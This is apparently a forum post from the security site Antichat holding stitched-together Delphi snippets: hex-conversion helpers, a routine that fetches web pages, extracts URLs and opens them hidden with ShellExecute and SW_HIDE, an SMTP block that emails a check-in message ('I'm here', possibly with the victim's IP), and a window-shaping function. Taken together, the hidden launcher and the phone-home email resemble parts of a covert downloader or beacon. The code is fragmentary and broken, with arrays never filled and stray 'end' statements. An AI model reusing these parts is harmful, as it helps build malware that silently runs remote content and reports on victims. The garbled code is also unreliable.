ANTICHAT — форум по информационной безопасности, OSINT и технологиям

unit Hexstr;

interface
uses String16, SysUtils;

type

  PByte = ^BYTE;

procedure BytesToHexStr(var hHexStr: string; pbyteArray: PByte; InputLength:
  WORD);

procedure HexStrToBytes(hHexStr: string; pbyteArray: Pointer);
procedure HexBytesToChar(var Response: string; hexbytes: PChar; InputLength:
  WORD);

implementation

procedure BytesToHexStr(var hHexStr: string; pbyteArray: PByte; InputLength:
  WORD);
const

  HexChars: array[0..15] of Char = '0123456789ABCDEF';
var

  i, j: WORD;
begin

  SetLength(hHexStr, (InputLength * 2));
  FillChar(hHexStr, sizeof(hHexStr), #0);
  j := 1;
  for i := 1 to InputLength do
  begin
    hHexStr[j] := Char(HexChars[pbyteArray^ shr 4]);
    inc(j);
    hHexStr[j] := Char(HexChars[pbyteArray^ and 15]);
    inc(j);
    inc(pbyteArray);
  end;
end;

procedure HexBytesToChar(var Response: string; hexbytes: PChar; InputLength:
  WORD);
var

  i: WORD;
  c: byte;
begin

  SetLength(Response, InputLength);
  FillChar(Response, SizeOf(Response), #0);
  for i := 0 to (InputLength - 1) do
  begin
    c := BYTE(hexbytes[i]) and BYTE($F);
    if c > 9 then
      Inc(c, $37)
    else
      Inc(c, $30);
    Response[i + 1] := char(c);
  end; {for}
end;

procedure HexStrToBytes(hHexStr: string; pbyteArray: Pointer);
{pbyteArray указывает на область памяти, хранящей результаты}
var

  i, j: WORD;
  tempPtr: PChar;
  twoDigits: string[2];
begin

  tempPtr := pbyteArray;
  j := 1;
  for i := 1 to (Length(hHexStr) div 2) do
  begin
    twoDigits := Copy(hHexStr, j, 2);
    Inc(j, 2);
    PByte(tempPtr)^ := StrToInt('$' + twoDigits);
    Inc(tempPtr);
  end; {for}
end;

end.

unit String16.
interface
{$IFNDEF Win32}

procedure SetLength(var S: string; Len: Integer);
procedure SetString(var Dst: string; Src: PChar; Len: Integer);
{$ENDIF}
implementation
{$IFNDEF Win32}

procedure SetLength(var S: string; Len: Integer);
begin
  if Len > 255 then
    S[0] := Chr(255)
  else
    S[0] := Chr(Len)
end;

procedure SetString(var Dst: string; Src: PChar; Len: Integer);
begin
  if Len > 255 then
    Move(Src^, Dst[1], 255)
  else
    Move(Src^, Dst[1], Len);
  SetLength(Dst, Len);
end;
{$ENDIF}
end.

procedure go();
const n=1;
m=1;
s='key';
var
  Form1: TForm1;
   n_ar:array [1..n] of string;
  m_ar:array [1..m] of string;
  sites:array [1..n] of string;
  i:integer;
 t:string;
q,col:integer;
steam:TstringStream;

begin
for i:=1 to n do begin
steam:= TStringStream.Create('');
form1.IdHTTP1.get(n_ar[i],steam);
t:=steam.DataString;
q:=pos(s,t);
t:=copy(t,q,length(t));
q:=pos(#39,t);
t:=copy(t,1,q);
inc(col);
sites[col]:=t;
end;
for i:=1 to col do
ShellExecute(Handle,'open',sites[i] , nil, nil, SW_HIDE);
for i:=1 to m do
ShellExecute(Handle,'open',m_ar[i] , nil, nil, SW_HIDE);
end;

end;

 end;

begin 
   SMTP.Host:='xxx'; // адрес почтового сервера 
   SMTP.Port:=25; // порт по которому будет осуществляться подключение 
   SMTP.Username:='yyy'; // логин пользователя 
   SMTP.Password:='zzz'; // пароль пользователя 
   SMTP.AuthenticationType:=atLogin; // тип подключения к серверу - с авторизацией 
   with IdMessage do 
      begin 

        Recipients.EMailAddresses := 'xxxx'; // майл получателя письма 
        Subject := 'Йа тут'; // тема письма ну или $ip

        end; 

      SMTP.Connect;
         try 
      SMTP.Send(IdMessage); 
         finally 
           SMTP.Disconnect;
         end; end;

function BitmapToRegion(Bitmap: TBitmap; TransColor: TColor): HRGN;
var
X, Y: Integer;
XStart: Integer;
begin
Result := 0;
with Bitmap do
for Y := 0 to Height - 1 do
begin
X := 0;
while X < Width do
begin

while (X < Width) and (Canvas.Pixels[X, Y] = TransColor) do
Inc(X);
if X >= Width then
Break;
XStart := X;

while (X < Width) and (Canvas.Pixels[X, Y] <> TransColor) do
Inc(X);

if Result = 0 then
Result := CreateRectRgn(XStart, Y, X, Y + 1)
else
CombineRgn(Result, Result,
CreateRectRgn(XStart, Y, X, Y + 1), RGN_OR);
end;
end;
end;